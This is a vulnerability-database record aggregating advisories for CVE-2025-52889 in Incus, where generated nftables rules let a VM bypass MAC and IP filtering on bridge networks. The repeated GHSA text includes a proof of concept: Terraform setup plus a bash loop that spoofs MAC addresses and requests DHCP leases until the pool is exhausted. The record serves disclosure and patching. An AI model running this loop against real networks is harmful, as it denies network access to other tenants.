{"id":"CVE-2025-52889","aliases":["ALPINE-CVE-2025-52889","EUVD-2025-19115","GHSA-9q7c-qmhm-jv86","GO-2025-3781","UBUNTU-CVE-2025-52889","openSUSE-SU-2025:15317-1","openSUSE-SU-2025:15405-1"],"status":"published","title":"Incus vulnerable to DoS through antispoofing nftables firewall rule bypass on bridge networks with ACLs","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","severity":{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00254,"percentile":0.16986,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2025-06-25T16:49:00Z","modified":"2026-11-04T20:02:57Z","fixes":[{"ecosystem":"Go","package":"github.com/lxc/incus/v6","fixed_in":["6.14.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"incus-feature","fixed_in":["6.14.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"incus-feature","fixed_in":["6.14.0-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lxc/incus/v6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.13.0"},{"fixed":"6.14.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"incus-feature","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.14.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"incus-feature","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.14.0-r0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.14.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"introduced":"6.12.0"},{"fixed":"6.14.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"incus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.0.3-4","6.0.4-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"incus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.0.5-8","7.0.1-5"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"incus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.14-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250730T213748-1.1"}]}],"bundled":56}],"products":[{"vendor":"lxc","product":"incus"}],"references":[{"url":"https://github.com/lxc/incus/security/advisories/GHSA-9q7c-qmhm-jv86","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/lxc/incus/commit/2516fb19ad8428454cb4edfe70c0a5f0dc1da214","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/lxc/incus/commit/a7c33301738aede3c035063e973b1d885d9bac7c","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-52889","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9q7c-qmhm-jv86"},{"url":"https://security.alpinelinux.org/vuln/CVE-2025-52889","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/52xxx/CVE-2025-52889.json","tags":["advisory"]},{"url":"https://github.com/lxc/incus","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-52889","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-52889","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52889","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52890","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-44905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-44906","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56731","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-0928","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1088","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-32019","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3227","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3228","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3415","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4656","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-46702","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4674","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47281","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47943","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4922","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4981","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-49825","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-5030","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-51471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52893","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52894","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52902","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52903","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52995","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52996","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-52997","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53512","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53513","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53632","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53633","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53634","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53826","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53893","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-53945","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-54059","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-54379","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-5689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-5981","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6023","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6032","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6224","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6226","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6227","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6233","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6264","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6624","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-52889","title":"Incus vulnerable to DoS through antispoofing nftables firewall rule bypass on bridge networks with ACLs","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","status":"published","published":"2025-06-25T16:49:00.442Z","modified":"2025-06-25T17:54:29.213Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:32:31.309974Z"}],"euvd":[{"id":"EUVD-2025-19115","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","status":"published","published":"2025-06-25T16:49:00Z","modified":"2025-06-25T17:54:29Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T20:32:16.561416Z"}],"ghsa":[{"id":"GHSA-9q7c-qmhm-jv86","title":"Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks","description":"### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks.\n\n### Details\n\nIn commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:\n\n\tiifname \"{{.hostName}}\" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\" snippet:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n\nTherefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.\n\nAdditionaly, the commit adds non-restricted access to the local dnsmasq DNS server:\n\n\t{{ if .dnsIPv4 }}\n\t{{ range .dnsIPv4 }}\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\n\t{{ if .dnsIPv6 }}\n\t{{ range .dnsIPv6 }}\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\nAn attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n  name    = \"acl-allow-out\"\n  egress = [\n    {\n      action           = \"allow\"\n      destination      = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n      state            = \"enabled\"\n    },\n  ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n  name    = \"acl-allow-in\"\n  ingress = [\n    {\n      action           = \"allow\"\n      state            = \"enabled\"\n    },\n  ]\n}\n\nresource \"incus_network\" \"br0\" {\n  name = \"br0\"\n  config = {\n    \"ipv4.address\"          = \"10.0.0.1/24\"\n    \"ipv4.nat\"              = \"true\"\n  }\n}\n\nresource \"incus_instance\" \"machine1\" {\n  name  = \"machine1\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n    \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n      #cloud-config\n      package_update: true\n      packages:\n        - dhclient\n        - tcpdump\n      runcmd:\n        - systemctl disable --now systemd.networkd.service\n        - systemctl disable --now systemd.networkd.socket\n    EOF\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n      \"security.ipv4_filtering\" = true\n      \"security.acls\" = join(\",\",\n        [\n          incus_network_acl.acl_allow_out.name,\n          incus_network_acl.acl_allow_in.name,\n        ])\n    }\n  }\n}\n\nresource \"incus_instance\" \"machine2\" {\n  name  = \"machine2\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n    }\n  }\n}\n```\n\nAn attacker in a VM requests many IP addresses and exhaust the pool:\n\n```bash\n[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done\n\n[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases  |wc -l\n254\n\n[HOST]$ incus start machine2\n```\n\nAt this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.\n\n### Impact\n\nAll versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.","status":"published","published":"2025-06-26T21:11:09Z","modified":"2026-03-30T13:54:36Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:39:46.119458Z"}],"nvd":[{"id":"CVE-2025-52889","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","status":"published","published":"2025-06-25T17:15:39.2Z","modified":"2026-06-17T09:37:13.313Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:11:14.781314Z"}],"osv":[{"id":"ALPINE-CVE-2025-52889","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","status":"published","published":"2025-06-25T17:15:39.2Z","modified":"2026-11-03T06:33:00.643173048Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2025-52889","title":"Incus vulnerable to DoS through antispoofing nftables firewall rule bypass on bridge networks with ACLs","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","status":"published","published":"2025-06-25T16:49:00.442Z","modified":"2026-10-28T02:30:43.656683514Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:44:50.45326Z"},{"id":"GHSA-9q7c-qmhm-jv86","title":"Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks","description":"### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks.\n\n### Details\n\nIn commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:\n\n\tiifname \"{{.hostName}}\" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\" snippet:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n\nTherefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.\n\nAdditionaly, the commit adds non-restricted access to the local dnsmasq DNS server:\n\n\t{{ if .dnsIPv4 }}\n\t{{ range .dnsIPv4 }}\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\n\t{{ if .dnsIPv6 }}\n\t{{ range .dnsIPv6 }}\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\nAn attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n  name    = \"acl-allow-out\"\n  egress = [\n    {\n      action           = \"allow\"\n      destination      = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n      state            = \"enabled\"\n    },\n  ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n  name    = \"acl-allow-in\"\n  ingress = [\n    {\n      action           = \"allow\"\n      state            = \"enabled\"\n    },\n  ]\n}\n\nresource \"incus_network\" \"br0\" {\n  name = \"br0\"\n  config = {\n    \"ipv4.address\"          = \"10.0.0.1/24\"\n    \"ipv4.nat\"              = \"true\"\n  }\n}\n\nresource \"incus_instance\" \"machine1\" {\n  name  = \"machine1\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n    \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n      #cloud-config\n      package_update: true\n      packages:\n        - dhclient\n        - tcpdump\n      runcmd:\n        - systemctl disable --now systemd.networkd.service\n        - systemctl disable --now systemd.networkd.socket\n    EOF\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n      \"security.ipv4_filtering\" = true\n      \"security.acls\" = join(\",\",\n        [\n          incus_network_acl.acl_allow_out.name,\n          incus_network_acl.acl_allow_in.name,\n        ])\n    }\n  }\n}\n\nresource \"incus_instance\" \"machine2\" {\n  name  = \"machine2\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n    }\n  }\n}\n```\n\nAn attacker in a VM requests many IP addresses and exhaust the pool:\n\n```bash\n[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done\n\n[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases  |wc -l\n254\n\n[HOST]$ incus start machine2\n```\n\nAt this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.\n\n### Impact\n\nAll versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.","status":"published","published":"2025-06-26T21:11:09Z","modified":"2026-03-30T14:06:03.869502Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:44.225359Z"},{"id":"UBUNTU-CVE-2025-52889","description":"Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus version 6.12 and 6.13 generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. A patch is available at commit 2516fb19ad8428454cb4edfe70c0a5f0dc1da214.","status":"published","published":"2025-06-25T17:15:00Z","modified":"2026-11-04T20:02:57.846186272Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-04T21:44:46.937337Z"},{"id":"GO-2025-3781","title":"Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks in github.com/lxc/incus","description":"Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks in github.com/lxc/incus","status":"published","published":"2025-07-28T19:57:13Z","modified":"2026-03-03T04:56:42.361233Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:15317-1","title":"incus-6.14-1.1 on GA media","description":"These are all security issues fixed in the incus-6.14-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-07-07T00:00:00Z","modified":"2026-03-23T04:53:38.665093Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"openSUSE-SU-2025:15405-1","title":"govulncheck-vulndb-0.0.20250730T213748-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250730T213748-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-08-04T00:00:00Z","modified":"2026-03-23T04:53:44.42671Z","updated_at":"2026-11-02T16:58:37.810934Z"}]}}
